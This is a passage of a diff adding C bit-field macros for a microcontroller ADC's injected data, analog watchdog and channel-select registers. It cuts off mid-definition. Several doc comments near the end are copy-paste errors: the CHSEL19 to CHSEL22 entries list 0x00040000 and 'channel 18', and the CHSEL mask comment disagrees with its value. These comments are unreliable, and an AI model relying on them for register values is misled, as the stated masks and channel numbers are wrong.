ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR4 register ********************/ +#define ADC_JDR4_JDATA_Pos (0UL) +#define ADC_JDR4_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR4_JDATA_0 (0x00000001UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR4_JDATA_1 (0x00000002UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR4_JDATA_2 (0x00000004UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR4_JDATA_3 (0x00000008UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR4_JDATA_4 (0x00000010UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR4_JDATA_5 (0x00000020UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR4_JDATA_6 (0x00000040UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR4_JDATA_7 (0x00000080UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR4_JDATA_8 (0x00000100UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR4_JDATA_9 (0x00000200UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << 